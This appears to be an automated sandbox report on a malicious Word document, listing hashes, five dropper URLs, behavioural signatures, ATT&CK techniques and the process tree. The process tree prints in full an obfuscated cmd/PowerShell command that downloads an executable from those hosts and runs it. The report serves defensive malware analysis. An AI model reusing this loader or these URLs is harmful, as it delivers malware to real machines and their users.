c286bfa4a741ae1dfc7ae7176cb74166074510ec77835ee072b192d6bebae5f1

General

Target

c286bfa4a741ae1dfc7ae7176cb74166074510ec77835ee072b192d6bebae5f1.doc
Size

267KB
MD5

6609a251a692535a12a083f30c43681f
SHA1

b5161effceeb06ee45aa1f52ac16fe716e0e2ea3
SHA256

c286bfa4a741ae1dfc7ae7176cb74166074510ec77835ee072b192d6bebae5f1
SHA512

bc2d7cd31d5b6fca690558e37859ac31022cfaf95d729bcf97b24c636a26a4714540adfbd8d1acacae53c7d22df7e292f602dabe9193acc8fc513e2d40174ce2

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://ishqekamil.com/ciY34zeKn3d

exe.dropper

http://cvlancer.com/CWvd8iMnLfj9C

exe.dropper

http://aucklandluxuryrealestatelistings.com/pHXewgm3qzll_3L

exe.dropper

http://nosomosgenios.com/cCZThGY1_wVKtkj23V

exe.dropper

http://2647403-1.web-hosting.es/blMc65Xgegv_YFDyjpRH

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process	424	3108	cmd.exe	WINWORD.EXE

Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

9 904 powershell.exe
14 904 powershell.exe

flow	pid	process
9	904	powershell.exe
14	904	powershell.exe

Drops file in System32 directory 2 IoCs

Processes:

svchost.exe

description	ioc	process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{125E65BF-4996-4B4F-83E8-1881C2416B34}.catalogItem	svchost.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\InstallService\{ADA6FCB1-1184-4AC8-9C32-D7399A418F60}.catalogItem	svchost.exe

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXEsvchost.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	svchost.exe
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXEsvchost.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	svchost.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	svchost.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3108 WINWORD.EXE
3108 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

904 powershell.exe
904 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 904 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

3108 WINWORD.EXE
3108 WINWORD.EXE
3108 WINWORD.EXE
3108 WINWORD.EXE
3108 WINWORD.EXE
3108 WINWORD.EXE
3108 WINWORD.EXE
3108 WINWORD.EXE

pid	process
3108	WINWORD.EXE
3108	WINWORD.EXE

pid	process
904	powershell.exe
904	powershell.exe

description	pid	process
Token: SeDebugPrivilege	904	powershell.exe

pid	process
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE
3108	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEcmd.exe

description	pid	process	target process
PID 3108 wrote to memory of 424	3108	WINWORD.EXE	cmd.exe
PID 3108 wrote to memory of 424	3108	WINWORD.EXE	cmd.exe
PID 424 wrote to memory of 904	424	cmd.exe	powershell.exe
PID 424 wrote to memory of 904	424	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\c286bfa4a741ae1dfc7ae7176cb74166074510ec77835ee072b192d6bebae5f1.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3108

\??\c:\windows\system32\cmd.exe
c:\windows\system32\cmd /c set _xxx=p&& set _yyy=owersh&& set _zzz=ell&& call %_xxx%%_yyy%%_zzz% $K5My4u = '$DrGHIly0c = new-obj0-10361093520ect -com0-10361093520obj0-10361093520ect wsc0-10361093520ript.she0-10361093520ll;$vh576j = new-object sys0-10361093520tem.net.web0-10361093520client;$xjFdD5Yz = new-object random;$GLC65c = \"0-10361093520h0-10361093520t0-10361093520t0-10361093520p0-10361093520://ishqekamil.com/ciY34zeKn3d,0-10361093520h0-10361093520t0-10361093520t0-10361093520p0-10361093520://cvlancer.com/CWvd8iMnLfj9C,0-10361093520h0-10361093520t0-10361093520t0-10361093520p0-10361093520://aucklandluxuryrealestatelistings.com/pHXewgm3qzll_3L,0-10361093520h0-10361093520t0-10361093520t0-10361093520p0-10361093520://nosomosgenios.com/cCZThGY1_wVKtkj23V,0-10361093520h0-10361093520t0-10361093520t0-10361093520p0-10361093520://2647403-1.web-hosting.es/blMc65Xgegv_YFDyjpRH\".spl0-10361093520it(\",\");$AvhcBOm = $xjFdD5Yz.nex0-10361093520t(1, 65536);$jauHDgE9o = \"c:\win0-10361093520dows\tem0-10361093520p\195.ex0-10361093520e\";for0-10361093520each($SGKszWC in $GLC65c){try{$vh576j.dow0-10361093520nlo0-10361093520adf0-10361093520ile($SGKszWC.ToS0-10361093520tring(), $jauHDgE9o);sta0-10361093520rt-pro0-10361093520cess $jauHDgE9o;break;}catch{}}'.replace('0-10361093520', $gZLbtF);$vaWgt0dZG = '';iex($K5My4u);
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $K5My4u = '$DrGHIly0c = new-obj0-10361093520ect -com0-10361093520obj0-10361093520ect wsc0-10361093520ript.she0-10361093520ll;$vh576j = new-object sys0-10361093520tem.net.web0-10361093520client;$xjFdD5Yz = new-object random;$GLC65c = \"0-10361093520h0-10361093520t0-10361093520t0-10361093520p0-10361093520://ishqekamil.com/ciY34zeKn3d,0-10361093520h0-10361093520t0-10361093520t0-10361093520p0-10361093520://cvlancer.com/CWvd8iMnLfj9C,0-10361093520h0-10361093520t0-10361093520t0-10361093520p0-10361093520://aucklandluxuryrealestatelistings.com/pHXewgm3qzll_3L,0-10361093520h0-10361093520t0-10361093520t0-10361093520p0-10361093520://nosomosgenios.com/cCZThGY1_wVKtkj23V,0-10361093520h0-10361093520t0-10361093520t0-10361093520p0-10361093520://2647403-1.web-hosting.es/blMc65Xgegv_YFDyjpRH\".spl0-10361093520it(\",\");$AvhcBOm = $xjFdD5Yz.nex0-10361093520t(1, 65536);$jauHDgE9o = \"c:\win0-10361093520dows\tem0-10361093520p\195.ex0-10361093520e\";for0-10361093520each($SGKszWC in $GLC65c){try{$vh576j.dow0-10361093520nlo0-10361093520adf0-10361093520ile($SGKszWC.ToS0-10361093520tring(), $jauHDgE9o);sta0-10361093520rt-pro0-10361093520cess $jauHDgE9o;break;}catch{}}'.replace('0-10361093520', $gZLbtF);$vaWgt0dZG = '';iex($K5My4u);
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:904

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
- Drops file in System32 directory
- Checks processor information in registry
- Enumerates system info in registry
PID:1480

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/424-138-0x0000000000000000-mapping.dmp

Download
memory/904-142-0x00007FF840F00000-0x00007FF8419C1000-memory.dmp

Filesize
10.8MB

Download
memory/904-141-0x00007FF840F00000-0x00007FF8419C1000-memory.dmp

Filesize
10.8MB

Download
memory/904-140-0x000001DBED100000-0x000001DBED122000-memory.dmp

Filesize
136KB

Download
memory/904-139-0x0000000000000000-mapping.dmp

Download
memory/3108-134-0x00007FF82B590000-0x00007FF82B5A0000-memory.dmp

Filesize
64KB

Download
memory/3108-136-0x00007FF828C30000-0x00007FF828C40000-memory.dmp

Filesize
64KB

Download
memory/3108-132-0x00007FF82B590000-0x00007FF82B5A0000-memory.dmp

Filesize
64KB

Download
memory/3108-137-0x000001D61F430000-0x000001D61F434000-memory.dmp

Filesize
16KB

Download
memory/3108-135-0x00007FF828C30000-0x00007FF828C40000-memory.dmp

Filesize
64KB

Download
memory/3108-133-0x00007FF82B590000-0x00007FF82B5A0000-memory.dmp

Filesize
64KB

Download
memory/3108-131-0x00007FF82B590000-0x00007FF82B5A0000-memory.dmp

Filesize
64KB

Download
memory/3108-130-0x00007FF82B590000-0x00007FF82B5A0000-memory.dmp

Filesize
64KB

Download
memory/3108-144-0x00007FF82B590000-0x00007FF82B5A0000-memory.dmp

Filesize
64KB

Download
memory/3108-145-0x00007FF82B590000-0x00007FF82B5A0000-memory.dmp

Filesize
64KB

Download
memory/3108-146-0x00007FF82B590000-0x00007FF82B5A0000-memory.dmp

Filesize
64KB

Download
memory/3108-147-0x00007FF82B590000-0x00007FF82B5A0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads